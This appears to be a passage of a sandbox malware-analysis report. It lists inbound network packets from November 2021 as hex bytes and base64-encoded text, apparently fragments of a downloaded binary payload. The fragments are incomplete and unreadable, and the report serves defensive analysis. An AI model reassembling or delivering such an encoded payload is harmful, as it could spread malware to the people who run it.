2021-11-09 21:22:01 UTC	1373	IN	Data Raw: 00 4e 00 5a 00 51 00 55 00 46 00 42 00 57 00 6e 00 5a 00 50 00 64 00 30 00 46 00 42 00 51 00 32 00 64 00 79 00 5a 00 55 00 46 00 35 00 59 00 6d 00 56 00 42 00 51 00 56 00 6c 00 78 00 51 00 56 00 4a 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 43 00 5a 00 30 00 45 00 78 00 54 00 33 00 64 00 42 00 52 00 45 00 52 00 33 00 51 00 55 00 46 00 42 00 55 00 6b 00 31 00 33 00 51 00 57 00 64 00 42 00 62 00 6b 00 46 00 42 00 51 00 55 00 46 00 43 00 64 00 30 00 46 00 42 00 52 00 56 00 4a 00 6a 00 53 00 30 00 46 00 74 00 4f 00 55 00 31 00 42 00 51 00 55 00 46 00 4c 00 51 00 33 00 6c 00 7a 00 55 00 6b 00 46 00 74 00 4f 00 55 00 31 00 42 00 51 00 55 00 46 00 4c 00 51 00 33 00 64 00 5a 00 57 00 46 00 64 00 42 00 62 00 30 00 64 00 48 00 52 00 45 00 56 00 44 00 51 00 Data Ascii: NZQUFBWnZPd0FBQ2dyZUF5YmVBQVlxQVJBQUFBQUFCZ0ExT3dBRER3QUFBUk13QWdBbkFBQUFCd0FBRVJjS0FtOU1BQUFLQ3lzUkFtOU1BQUFLQ3dZWFdBb0dHREVDQ
2021-11-09 21:22:01 UTC	1374	IN	Data Raw: 6c 00 4c 00 4d 00 32 00 64 00 4e 00 62 00 54 00 4e 00 6e 00 52 00 47 00 56 00 42 00 65 00 57 00 4a 00 6c 00 51 00 55 00 46 00 5a 00 63 00 55 00 46 00 42 00 51 00 55 00 46 00 52 00 56 00 46 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 78 00 42 00 55 00 55 00 46 00 42 00 52 00 30 00 46 00 42 00 51 00 55 00 46 00 44 00 54 00 55 00 4a 00 42 00 51 00 55 00 46 00 45 00 51 00 55 00 46 00 42 00 51 00 55 00 52 00 33 00 51 00 55 00 46 00 42 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 54 00 55 00 46 00 42 00 51 00 55 00 46 00 49 00 51 00 55 00 56 00 42 00 51 00 55 00 4e 00 6e 00 51 00 6b 00 46 00 42 00 51 00 55 00 52 00 42 00 51 00 55 00 46 00 42 00 51 00 32 00 64 00 42 00 51 00 55 00 46 00 53 00 63 00 33 00 64 00 42 00 64 00 30 Data Ascii: lLM2dNbTNnRGVBeWJlQUFZcUFBQUFRVFFBQUFBQUFBQUxBUUFBR0FBQUFDTUJBQUFEQUFBQUR3QUFBUUFBQUFBTUFBQUFIQUVBQUNnQkFBQURBQUFBQ2dBQUFSc3dBd0
2021-11-09 21:22:01 UTC	1376	IN	Data Raw: 00 43 00 61 00 57 00 39 00 42 00 51 00 56 00 4a 00 33 00 51 00 55 00 46 00 42 00 53 00 55 00 46 00 4f 00 51 00 55 00 4a 00 4a 00 5a 00 6b 00 46 00 42 00 56 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 6d 00 64 00 44 00 54 00 57 00 74 00 6e 00 51 00 55 00 52 00 44 00 5a 00 30 00 46 00 42 00 51 00 56 00 4a 00 7a 00 64 00 30 00 4a 00 42 00 51 00 6b 00 46 00 42 00 55 00 55 00 46 00 42 00 51 00 33 00 64 00 42 00 51 00 55 00 56 00 59 00 54 00 6b 00 78 00 42 00 55 00 55 00 46 00 48 00 51 00 32 00 64 00 4b 00 64 00 6c 00 64 00 52 00 51 00 55 00 46 00 44 00 62 00 54 00 6c 00 69 00 51 00 55 00 46 00 42 00 53 00 30 00 4e 00 36 00 61 00 57 00 70 00 42 00 51 00 55 00 46 00 42 00 51 00 6a 00 49 00 34 00 55 00 45 00 46 00 42 00 51 00 55 00 Data Ascii: CaW9BQVJ3QUFBSUFOQUJJZkFBVUFBQUFBQUFBQmdDTWtnQURDZ0FBQVJzd0JBQkFBUUFBQ3dBQUVYTkxBUUFHQ2dKdldRQUFDbTliQUFBS0N6aWpBQUFBQjI4UEFBQU
2021-11-09 21:22:01 UTC	1377	IN	Data Raw: 6e 00 51 00 55 00 52 00 44 00 5a 00 30 00 46 00 42 00 51 00 56 00 46 00 4a 00 51 00 55 00 4a 00 6e 00 52 00 46 00 67 00 7a 00 55 00 55 00 4a 00 6f 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 43 00 4e 00 45 00 4e 00 4c 00 52 00 30 00 6c 00 42 00 51 00 55 00 46 00 76 00 63 00 55 00 64 00 36 00 51 00 55 00 70 00 42 00 53 00 57 00 74 00 43 00 51 00 55 00 46 00 42 00 54 00 55 00 46 00 42 00 51 00 56 00 4a 00 6a 00 65 00 47 00 74 00 42 00 51 00 55 00 46 00 76 00 53 00 30 00 46 00 75 00 4e 00 45 00 4e 00 42 00 55 00 55 00 46 00 46 00 53 00 6c 00 4d 00 77 00 57 00 45 00 70 00 75 00 4e 00 45 00 4a 00 42 00 55 00 55 00 46 00 46 00 4c 00 32 00 64 00 69 00 61 00 55 00 46 00 52 00 51 00 55 00 64 00 6a 00 65 00 47 00 39 00 42 00 51 00 55 00 46 00 76 00 62 00 47 00 64 Data Ascii: nQURDZ0FBQVFJQUJnRFgzUUJoQUFBQUFCNENLR0lBQUFvcUd6QUpBSWtCQUFBTUFBQVJjeGtBQUFvS0FuNENBUUFFSlMwWEpuNEJBUUFFL2diaUFRQUdjeG9BQUFvbGd
2021-11-09 21:22:01 UTC	1378	IN	Data Raw: 00 56 00 30 00 4e 00 42 00 51 00 55 00 46 00 48 00 4d 00 6a 00 68 00 4d 00 51 00 55 00 46 00 42 00 53 00 7a 00 4e 00 4f 00 4e 00 45 00 52 00 4b 00 64 00 44 00 52 00 42 00 51 00 6a 00 49 00 34 00 54 00 55 00 46 00 42 00 51 00 55 00 74 00 50 00 63 00 30 00 51 00 72 00 4c 00 79 00 38 00 76 00 5a 00 55 00 4e 00 6e 00 59 00 33 00 4e 00 43 00 5a 00 32 00 52 00 32 00 51 00 33 00 64 00 42 00 51 00 55 00 4e 00 30 00 65 00 6d 00 56 00 42 00 65 00 57 00 4a 00 6c 00 51 00 55 00 46 00 5a 00 63 00 55 00 46 00 42 00 51 00 55 00 46 00 52 00 56 00 31 00 46 00 42 00 51 00 55 00 46 00 4a 00 51 00 55 00 46 00 42 00 51 00 6a 00 5a 00 42 00 51 00 55 00 46 00 42 00 4d 00 32 00 64 00 42 00 51 00 55 00 46 00 47 00 5a 00 30 00 4a 00 42 00 51 00 55 00 46 00 50 00 51 00 55 00 46 00 Data Ascii: V0NBQUFHMjhMQUFBSzNONERKdDRBQjI4TUFBQUtPc0QrLy8vZUNnY3NCZ2R2Q3dBQUN0emVBeWJlQUFZcUFBQUFRV1FBQUFJQUFBQjZBQUFBM2dBQUFGZ0JBQUFPQUF
2021-11-09 21:22:01 UTC	1380	IN	Data Raw: 51 00 55 00 46 00 42 00 53 00 32 00 49 00 32 00 64 00 30 00 46 00 42 00 51 00 56 00 70 00 32 00 54 00 33 00 64 00 42 00 51 00 55 00 4e 00 74 00 4f 00 48 00 6c 00 42 00 55 00 55 00 46 00 48 00 52 00 56 00 46 00 5a 00 53 00 55 00 56 00 52 00 55 00 57 00 56 00 71 00 56 00 6d 00 39 00 42 00 51 00 55 00 46 00 46 00 62 00 44 00 42 00 4f 00 4e 00 45 00 46 00 42 00 51 00 56 00 46 00 76 00 54 00 6e 00 64 00 42 00 51 00 55 00 4e 00 75 00 54 00 54 00 52 00 42 00 51 00 55 00 46 00 4c 00 59 00 6a 00 5a 00 33 00 51 00 55 00 46 00 42 00 57 00 56 00 64 00 69 00 65 00 57 00 4e 00 42 00 51 00 55 00 46 00 76 00 5a 00 6b 00 31 00 6d 00 4e 00 45 00 4a 00 69 00 65 00 6c 00 46 00 43 00 51 00 55 00 46 00 5a 00 55 00 6b 00 4a 00 6e 00 5a 00 31 00 4a 00 43 00 51 00 6e 00 6c 00 4f Data Ascii: QUFBS2I2d0FBQVp2T3dBQUNtOHlBUUFHRVFZSUVRUWVqVm9BQUFFbDBONEFBQVFvTndBQUNuTTRBQUFLYjZ3QUFBWVdieWNBQUFvZk1mNEJielFCQUFZUkJnZ1JCQnlO
2021-11-09 21:22:01 UTC	1381	IN	Data Raw: 00 32 00 63 00 7a 00 51 00 55 00 46 00 42 00 53 00 32 00 4e 00 36 00 5a 00 30 00 46 00 42 00 51 00 57 00 39 00 76 00 57 00 46 00 46 00 42 00 51 00 55 00 4e 00 70 00 64 00 30 00 64 00 43 00 65 00 47 00 56 00 68 00 51 00 32 00 6c 00 7a 00 52 00 55 00 4a 00 34 00 59 00 57 00 46 00 44 00 64 00 44 00 52 00 45 00 53 00 6e 00 51 00 30 00 51 00 55 00 4a 00 70 00 62 00 30 00 46 00 42 00 55 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 4a 00 6e 00 51 00 6d 00 39 00 69 00 5a 00 30 00 46 00 45 00 51 00 32 00 64 00 42 00 51 00 55 00 46 00 53 00 63 00 33 00 64 00 43 00 55 00 55 00 4a 00 36 00 51 00 55 00 46 00 42 00 51 00 55 00 52 00 6e 00 51 00 55 00 46 00 46 00 57 00 44 00 52 00 6c 00 51 00 55 00 46 00 42 00 53 00 30 00 4e 00 6e 00 53 00 57 00 5a 00 45 00 Data Ascii: 2czQUFBS2N6Z0FBQW9vWFFBQUNpd0dCeGVhQ2lzRUJ4YWFDdDRESnQ0QUJpb0FBUkFBQUFBQUJnQm9iZ0FEQ2dBQUFSc3dCUUJ6QUFBQURnQUFFWDRlQUFBS0NnSWZE
2021-11-09 21:22:01 UTC	1382	IN	Data Raw: 55 00 46 00 42 00 51 00 57 00 39 00 6d 00 51 00 7a 00 51 00 78 00 59 00 55 00 46 00 42 00 51 00 55 00 4a 00 4b 00 5a 00 45 00 4d 00 7a 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 45 00 59 00 30 00 46 00 42 00 51 00 58 00 42 00 36 00 54 00 30 00 46 00 42 00 51 00 55 00 4e 00 70 00 5a 00 7a 00 56 00 42 00 51 00 55 00 46 00 4c 00 52 00 58 00 64 00 6e 00 55 00 6b 00 4e 00 44 00 5a 00 7a 00 5a 00 42 00 51 00 55 00 46 00 4c 00 54 00 32 00 55 00 34 00 51 00 55 00 46 00 42 00 51 00 6e 00 70 00 57 00 5a 00 30 00 46 00 42 00 51 00 32 00 68 00 4e 00 53 00 6b 00 56 00 52 00 61 00 31 00 4a 00 44 00 52 00 7a 00 6c 00 79 00 51 00 55 00 46 00 42 00 53 00 30 00 56 00 52 00 61 00 32 00 5a 00 55 00 53 00 54 00 46 00 68 00 51 00 55 00 46 00 42 00 51 00 6b 00 70 00 6b 00 52 Data Ascii: UFBQW9mQzQxYUFBQUJKZEMzQUFBRUtEY0FBQXB6T0FBQUNpZzVBQUFLRXdnUkNDZzZBQUFLT2U4QUFBQnpWZ0FBQ2hNSkVRa1JDRzlyQUFBS0VRa2ZUSTFhQUFBQkpkR
2021-11-09 21:22:01 UTC	1384	IN	Data Raw: 00 46 00 53 00 4e 00 45 00 4e 00 4c 00 52 00 30 00 6c 00 42 00 51 00 55 00 46 00 76 00 63 00 58 00 64 00 6e 00 53 00 57 00 39 00 5a 00 5a 00 30 00 46 00 42 00 51 00 32 00 64 00 4a 00 62 00 32 00 4a 00 52 00 51 00 55 00 46 00 44 00 62 00 6b 00 74 00 43 00 51 00 58 00 64 00 43 00 64 00 32 00 4e 00 7a 00 4f 00 45 00 52 00 42 00 53 00 45 00 49 00 72 00 53 00 47 00 64 00 42 00 51 00 55 00 4e 00 70 00 5a 00 32 00 5a 00 42 00 51 00 55 00 46 00 4c 00 53 00 30 00 52 00 72 00 51 00 55 00 46 00 42 00 62 00 32 00 38 00 79 00 51 00 55 00 46 00 42 00 51 00 6d 00 34 00 77 00 51 00 6b 00 46 00 42 00 51 00 55 00 56 00 4c 00 5a 00 30 00 46 00 42 00 51 00 55 00 4a 00 7a 00 64 00 30 00 46 00 52 00 51 00 56 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 Data Ascii: FSNENLR0lBQUFvcXdnSW9ZZ0FBQ2dJb2JRQUFDbktCQXdCd2NzOERBSEIrSGdBQUNpZ2ZBQUFLS0RrQUFBb28yQUFBQm4wQkFBQUVLZ0FBQUJzd0FRQVFBQUFBQUFBQ
2021-11-09 21:22:01 UTC	1385	IN	Data Raw: 63 00 76 00 4d 00 45 00 46 00 52 00 51 00 55 00 64 00 4c 00 5a 00 31 00 6c 00 78 00 52 00 58 00 70 00 42 00 53 00 45 00 46 00 45 00 4f 00 45 00 46 00 42 00 51 00 55 00 46 00 52 00 51 00 55 00 46 00 42 00 55 00 6d 00 4e 00 6e 00 56 00 55 00 5a 00 42 00 53 00 45 00 46 00 76 00 59 00 6d 00 64 00 42 00 51 00 55 00 4e 00 6e 00 53 00 30 00 39 00 68 00 55 00 6e 00 52 00 61 00 61 00 6c 00 64 00 6e 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 42 00 61 00 48 00 4e 00 48 00 52 00 6d 00 64 00 4c 00 54 00 32 00 46 00 53 00 64 00 46 00 70 00 4c 00 52 00 7a 00 68 00 42 00 51 00 55 00 46 00 76 00 52 00 30 00 5a 00 6f 00 55 00 57 00 39 00 4b 00 64 00 30 00 46 00 42 00 51 00 6d 00 64 00 7a 00 62 00 45 00 45 00 79 00 4f 00 58 00 64 00 42 00 51 00 55 00 46 00 4c 00 51 00 6e Data Ascii: cvMEFRQUdLZ1lxRXpBSEFEOEFBQUFRQUFBUmNnVUZBSEFvYmdBQUNnS09hUnRaaldnQUFBRUtBaHNHRmdLT2FSdFpLRzhBQUFvR0ZoUW9Kd0FBQmdzbEEyOXdBQUFLQn
2021-11-09 21:22:01 UTC	1386	IN	Data Raw: 00 50 00 59 00 56 00 46 00 72 00 53 00 6d 00 70 00 74 00 61 00 31 00 4e 00 43 00 65 00 46 00 6c 00 76 00 52 00 30 00 46 00 42 00 51 00 55 00 4a 00 70 00 56 00 57 00 64 00 42 00 63 00 55 00 46 00 42 00 64 00 30 00 52 00 4e 00 52 00 32 00 4d 00 7a 00 52 00 55 00 46 00 42 00 51 00 58 00 41 00 32 00 54 00 45 00 46 00 61 00 65 00 6d 00 4e 00 52 00 51 00 55 00 46 00 44 00 62 00 6e 00 4a 00 6c 00 52 00 47 00 68 00 4a 00 52 00 69 00 39 00 6f 00 57 00 54 00 4a 00 42 00 51 00 55 00 46 00 44 00 59 00 6e 00 64 00 7a 00 51 00 55 00 46 00 42 00 63 00 6d 00 4e 00 42 00 5a 00 32 00 4e 00 76 00 52 00 31 00 46 00 42 00 51 00 55 00 4a 00 70 00 57 00 55 00 6c 00 4c 00 53 00 45 00 6c 00 42 00 51 00 55 00 46 00 76 00 51 00 30 00 4a 00 6f 00 57 00 57 00 39 00 47 00 64 00 30 00 Data Ascii: PYVFrSmpta1NCeFlvR0FBQUJpVWdBcUFBd0RNR2MzRUFBQXA2TEFaemNRQUFDbnJlRGhJRi9oWTJBQUFDYndzQUFBcmNBZ2NvR1FBQUJpWUlLSElBQUFvQ0JoWW9Gd0
2021-11-09 21:22:01 UTC	1388	IN	Data Raw: 42 00 51 00 55 00 46 00 58 00 51 00 55 00 46 00 42 00 55 00 6b 00 5a 00 6e 00 62 00 30 00 4e 00 42 00 64 00 31 00 46 00 56 00 52 00 6d 00 68 00 4a 00 51 00 55 00 5a 00 70 00 5a 00 32 00 46 00 42 00 51 00 55 00 46 00 48 00 51 00 33 00 64 00 6a 00 63 00 30 00 5a 00 75 00 53 00 6c 00 52 00 43 00 5a 00 30 00 4a 00 33 00 51 00 6a 00 52 00 34 00 64 00 45 00 46 00 42 00 51 00 55 00 4a 00 4c 00 52 00 6b 00 31 00 42 00 51 00 55 00 46 00 77 00 65 00 6d 00 56 00 42 00 51 00 55 00 46 00 44 00 62 00 6d 00 39 00 48 00 61 00 6c 00 64 00 6e 00 51 00 55 00 46 00 42 00 52 00 55 00 31 00 42 00 5a 00 30 00 31 00 46 00 51 00 30 00 46 00 70 00 54 00 32 00 46 00 53 00 53 00 55 00 46 00 47 00 61 00 57 00 64 00 68 00 51 00 55 00 46 00 42 00 52 00 30 00 4e 00 33 00 59 00 33 00 4e Data Ascii: BQUFXQUFBUkZnb0NBd1FVRmhJQUZpZ2FBQUFHQ3djc0ZuSlRCZ0J3QjR4dEFBQUJLRk1BQUFwemVBQUFDbm9HaldnQUFBRU1BZ01FQ0FpT2FSSUFGaWdhQUFBR0N3Y3N
2021-11-09 21:22:01 UTC	1389	IN	Data Raw: 00 62 00 31 00 52 00 4e 00 51 00 55 00 31 00 42 00 64 00 6c 00 46 00 42 00 51 00 55 00 46 00 43 00 5a 00 30 00 46 00 42 00 51 00 6b 00 59 00 72 00 53 00 47 00 64 00 42 00 51 00 55 00 4e 00 6e 00 62 00 31 00 64 00 44 00 65 00 6d 00 6c 00 70 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 6e 00 5a 00 48 00 5a 00 6d 00 5a 00 30 00 46 00 42 00 51 00 32 00 6c 00 56 00 5a 00 6b 00 51 00 78 00 4f 00 45 00 31 00 48 00 62 00 55 00 31 00 6d 00 52 00 44 00 45 00 34 00 54 00 6b 00 4e 00 53 00 4f 00 45 00 70 00 4e 00 55 00 6a 00 68 00 48 00 51 00 31 00 49 00 34 00 53 00 31 00 64 00 53 00 4f 00 55 00 4a 00 58 00 54 00 6b 00 56 00 55 00 51 00 6b 00 4a 00 4a 00 52 00 55 00 74 00 49 00 4f 00 45 00 46 00 42 00 51 00 57 00 39 00 76 00 5a 00 30 00 46 00 42 00 51 00 55 00 4e 00 Data Ascii: b1RNQU1BdlFBQUFCZ0FBQkYrSGdBQUNnb1dDemlpQUFBQUFnZHZmZ0FBQ2lVZkQxOE1HbU1mRDE4TkNSOEpNUjhHQ1I4S1dSOUJXTkVUQkJJRUtIOEFBQW9vZ0FBQUN
2021-11-09 21:22:01 UTC	1390	IN	Data Raw: 51 00 55 00 46 00 42 00 62 00 33 00 46 00 48 00 65 00 6b 00 46 00 46 00 51 00 55 00 6f 00 34 00 51 00 55 00 46 00 42 00 51 00 57 00 46 00 42 00 51 00 55 00 46 00 53 00 53 00 30 00 35 00 7a 00 51 00 55 00 46 00 42 00 57 00 6e 00 6c 00 54 00 5a 00 32 00 4e 00 42 00 59 00 30 00 46 00 4f 00 65 00 56 00 6c 00 42 00 59 00 30 00 46 00 6a 00 51 00 32 00 68 00 6d 00 51 00 55 00 46 00 42 00 53 00 32 00 4d 00 30 00 5a 00 30 00 46 00 42 00 51 00 58 00 42 00 35 00 57 00 6b 00 46 00 6a 00 51 00 57 00 4e 00 44 00 61 00 55 00 70 00 42 00 51 00 55 00 46 00 4c 00 52 00 6d 00 38 00 78 00 4e 00 45 00 46 00 42 00 51 00 55 00 4a 00 6a 00 4e 00 47 00 39 00 42 00 51 00 55 00 46 00 77 00 65 00 6d 00 6c 00 33 00 51 00 55 00 46 00 44 00 61 00 56 00 5a 00 32 00 61 00 6b 00 46 00 42 Data Ascii: QUFBb3FHekFFQUo4QUFBQWFBQUFSS05zQUFBWnlTZ2NBY0FOeVlBY0FjQ2hmQUFBS2M0Z0FBQXB5WkFjQWNDaUpBQUFLRm8xNEFBQUJjNG9BQUFweml3QUFDaVZ2akFB
2021-11-09 21:22:01 UTC	1392	IN	Data Raw: 00 56 00 46 00 42 00 52 00 30 00 4e 00 30 00 4e 00 45 00 5a 00 4b 00 61 00 46 00 6c 00 4c 00 4d 00 32 00 64 00 42 00 52 00 30 00 74 00 6e 00 51 00 55 00 46 00 42 00 55 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 56 00 42 00 45 00 64 00 30 00 46 00 47 00 52 00 48 00 64 00 42 00 51 00 55 00 46 00 53 00 63 00 33 00 64 00 42 00 5a 00 30 00 46 00 58 00 51 00 55 00 46 00 42 00 51 00 55 00 68 00 42 00 51 00 55 00 46 00 46 00 55 00 55 00 6f 00 33 00 51 00 57 00 64 00 42 00 51 00 55 00 4a 00 42 00 54 00 6e 00 5a 00 43 00 5a 00 30 00 56 00 42 00 51 00 6d 00 64 00 79 00 5a 00 55 00 4a 00 54 00 57 00 56 00 64 00 44 00 64 00 44 00 52 00 42 00 51 00 6d 00 6c 00 76 00 51 00 55 00 46 00 42 00 52 00 56 00 46 00 42 00 51 00 55 00 46 00 42 00 Data Ascii: VFBR0N0NEZKaFlLM2dBR0tnQUFBUkFBQUFBQUFBQVBEd0FGRHdBQUFSc3dBZ0FXQUFBQUhBQUFFUUo3QWdBQUJBTnZCZ0VBQmdyZUJTWVdDdDRBQmlvQUFBRVFBQUFB
2021-11-09 21:22:01 UTC	1393	IN	Data Raw: 55 00 46 00 42 00 52 00 48 00 63 00 34 00 51 00 55 00 4a 00 52 00 4f 00 45 00 46 00 42 00 51 00 55 00 56 00 69 00 54 00 55 00 46 00 4a 00 51 00 55 00 5a 00 6e 00 51 00 55 00 46 00 42 00 51 00 6e 00 64 00 42 00 51 00 55 00 4a 00 46 00 51 00 32 00 56 00 33 00 53 00 55 00 46 00 42 00 51 00 56 00 46 00 45 00 59 00 6e 00 63 00 30 00 51 00 6b 00 46 00 42 00 57 00 55 00 73 00 7a 00 5a 00 31 00 56 00 74 00 52 00 6d 00 64 00 79 00 5a 00 55 00 46 00 42 00 57 00 58 00 46 00 42 00 51 00 55 00 46 00 43 00 52 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 54 00 68 00 51 00 51 00 55 00 46 00 56 00 55 00 45 00 46 00 42 00 51 00 55 00 4a 00 48 00 65 00 6b 00 46 00 44 00 51 00 55 00 4a 00 5a 00 51 00 55 00 46 00 42 00 51 00 57 00 4e 00 42 00 51 Data Ascii: UFBRHc4QUJROEFBQUViTUFJQUZnQUFBQndBQUJFQ2V3SUFBQVFEYnc0QkFBWUszZ1VtRmdyZUFBWXFBQUFCRUFBQUFBQUFBQThQQUFVUEFBQUJHekFDQUJZQUFBQWNBQ
2021-11-09 21:22:01 UTC	1394	IN	Data Raw: 00 4a 00 42 00 62 00 6e 00 4e 00 44 00 51 00 55 00 46 00 42 00 52 00 55 00 45 00 79 00 4f 00 46 00 42 00 42 00 55 00 55 00 46 00 48 00 51 00 33 00 51 00 30 00 52 00 6b 00 70 00 6f 00 57 00 55 00 73 00 7a 00 5a 00 30 00 46 00 48 00 53 00 32 00 64 00 42 00 51 00 55 00 46 00 53 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 55 00 45 00 52 00 33 00 51 00 55 00 5a 00 45 00 64 00 30 00 46 00 42 00 51 00 56 00 4a 00 7a 00 64 00 30 00 46 00 6e 00 51 00 56 00 64 00 42 00 51 00 55 00 46 00 42 00 53 00 45 00 46 00 42 00 51 00 55 00 56 00 52 00 53 00 6a 00 64 00 42 00 5a 00 30 00 46 00 42 00 51 00 6b 00 46 00 4f 00 64 00 6b 00 56 00 52 00 52 00 55 00 46 00 43 00 5a 00 33 00 4a 00 6c 00 51 00 6c 00 4e 00 5a 00 56 00 30 00 4e 00 30 00 4e 00 Data Ascii: JBbnNDQUFBRUEyOFBBUUFHQ3Q0RkpoWUszZ0FHS2dBQUFSQUFBQUFBQUFBUER3QUZEd0FBQVJzd0FnQVdBQUFBSEFBQUVRSjdBZ0FBQkFOdkVRRUFCZ3JlQlNZV0N0N
2021-11-09 21:22:01 UTC	1398	IN	Data Raw: 55 00 55 00 46 00 42 00 51 00 6d 00 35 00 50 00 51 00 6b 00 46 00 42 00 51 00 55 00 64 00 76 00 61 00 56 00 56 00 6d 00 51 00 31 00 4a 00 55 00 4b 00 30 00 4a 00 74 00 53 00 55 00 46 00 42 00 51 00 56 00 70 00 36 00 5a 00 31 00 46 00 42 00 51 00 55 00 4a 00 78 00 53 00 57 00 78 00 49 00 64 00 32 00 39 00 56 00 4c 00 32 00 64 00 61 00 61 00 6b 00 46 00 42 00 51 00 55 00 64 00 6a 00 4e 00 45 00 56 00 42 00 51 00 55 00 46 00 68 00 61 00 55 00 70 00 53 00 4f 00 45 00 78 00 47 00 55 00 44 00 52 00 48 00 57 00 6b 00 46 00 42 00 51 00 55 00 4a 00 75 00 54 00 30 00 4a 00 42 00 51 00 55 00 46 00 48 00 62 00 32 00 6c 00 56 00 5a 00 6b 00 52 00 43 00 56 00 43 00 74 00 43 00 62 00 56 00 56 00 42 00 51 00 55 00 46 00 61 00 65 00 6d 00 64 00 52 00 51 00 55 00 46 00 43 Data Ascii: UUFBQm5PQkFBQUdvaVVmQ1JUK0JtSUFBQVp6Z1FBQUJxSWxId29VL2daakFBQUdjNEVBQUFhaUpSOExGUDRHWkFBQUJuT0JBQUFHb2lVZkRCVCtCbVVBQUFaemdRQUFC
2021-11-09 21:22:01 UTC	1403	IN	Data Raw: 00 58 00 52 00 6d 00 68 00 52 00 62 00 33 00 5a 00 42 00 51 00 55 00 46 00 44 00 63 00 55 00 6c 00 76 00 64 00 6c 00 46 00 42 00 51 00 55 00 4e 00 70 00 61 00 53 00 74 00 42 00 51 00 55 00 46 00 4c 00 5a 00 30 00 46 00 5a 00 51 00 6b 00 46 00 42 00 55 00 69 00 74 00 43 00 5a 00 30 00 56 00 42 00 51 00 6b 00 68 00 31 00 4c 00 30 00 46 00 42 00 51 00 55 00 74 00 6d 00 5a 00 31 00 6c 00 43 00 51 00 55 00 46 00 52 00 62 00 7a 00 42 00 6e 00 51 00 55 00 46 00 43 00 62 00 53 00 39 00 42 00 51 00 55 00 46 00 42 00 53 00 32 00 49 00 34 00 52 00 55 00 46 00 42 00 51 00 57 00 39 00 76 00 64 00 58 00 64 00 46 00 51 00 55 00 4a 00 70 00 63 00 45 00 64 00 43 00 51 00 32 00 70 00 44 00 51 00 55 00 46 00 42 00 53 00 32 00 49 00 34 00 54 00 55 00 46 00 42 00 51 00 57 00 Data Ascii: XRmhRb3ZBQUFDcUlvdlFBQUNpaStBQUFLZ0FZQkFBUitCZ0VBQkh1L0FBQUtmZ1lCQUFRbzBnQUFCbS9BQUFBS2I4RUFBQW9vdXdFQUJpcEdCQ2pDQUFBS2I4TUFBQW
2021-11-09 21:22:01 UTC	1404	IN	Data Raw: 55 00 31 00 33 00 5a 00 30 00 4e 00 42 00 64 00 31 00 46 00 76 00 56 00 30 00 46 00 42 00 51 00 55 00 4a 00 6f 00 61 00 33 00 70 00 43 00 62 00 6b 00 39 00 79 00 51 00 55 00 46 00 42 00 53 00 32 00 56 00 70 00 62 00 30 00 46 00 42 00 51 00 55 00 56 00 6a 00 51 00 55 00 46 00 42 00 51 00 30 00 46 00 43 00 52 00 55 00 46 00 49 00 51 00 7a 00 42 00 42 00 52 00 47 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 42 00 52 00 56 00 6c 00 42 00 53 00 45 00 64 00 4a 00 51 00 55 00 52 00 6e 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 48 00 51 00 57 00 6c 00 71 00 5a 00 55 00 46 00 42 00 51 00 55 00 64 00 69 00 65 00 6e 00 4e 00 42 00 51 00 55 00 46 00 5a 00 62 00 45 00 64 00 45 00 54 00 55 00 6c 00 42 00 5a 00 30 00 31 00 46 00 53 00 30 00 5a 00 72 00 51 Data Ascii: U13Z0NBd1FvV0FBQUJoa3pCbk9yQUFBS2Vpb0FBQUVjQUFBQ0FCRUFIQzBBRGdBQUFBQUNBRVlBSEdJQURnQUFBQUNHQWlqZUFBQUdienNBQUFZbEdETUlBZ01FS0ZrQ
2021-11-09 21:22:01 UTC	1408	IN	Data Raw: 00 51 00 55 00 64 00 6a 00 4e 00 45 00 56 00 42 00 51 00 55 00 46 00 68 00 61 00 55 00 74 00 4a 00 5a 00 30 00 46 00 42 00 51 00 56 00 6c 00 48 00 59 00 7a 00 5a 00 52 00 51 00 55 00 46 00 42 00 63 00 44 00 6c 00 44 00 51 00 55 00 56 00 42 00 51 00 6b 00 4e 00 70 00 52 00 6b 00 46 00 42 00 51 00 55 00 64 00 43 00 64 00 6a 00 52 00 48 00 51 00 6d 00 64 00 4a 00 51 00 55 00 4a 00 75 00 54 00 32 00 78 00 42 00 51 00 55 00 46 00 4c 00 53 00 30 00 4a 00 42 00 51 00 55 00 46 00 44 00 63 00 32 00 39 00 46 00 55 00 55 00 46 00 42 00 53 00 33 00 6c 00 70 00 52 00 30 00 46 00 42 00 51 00 55 00 64 00 4c 00 53 00 57 00 4e 00 42 00 51 00 55 00 46 00 5a 00 52 00 79 00 39 00 6e 00 57 00 55 00 68 00 42 00 5a 00 30 00 46 00 48 00 59 00 7a 00 5a 00 56 00 51 00 55 00 46 00 Data Ascii: QUdjNEVBQUFhaUtJZ0FBQVlHYzZRQUFBcDlDQUVBQkNpRkFBQUdCdjRHQmdJQUJuT2xBQUFLS0JBQUFDc29FUUFBS3lpR0FBQUdLSWNBQUFZRy9nWUhBZ0FHYzZVQUF
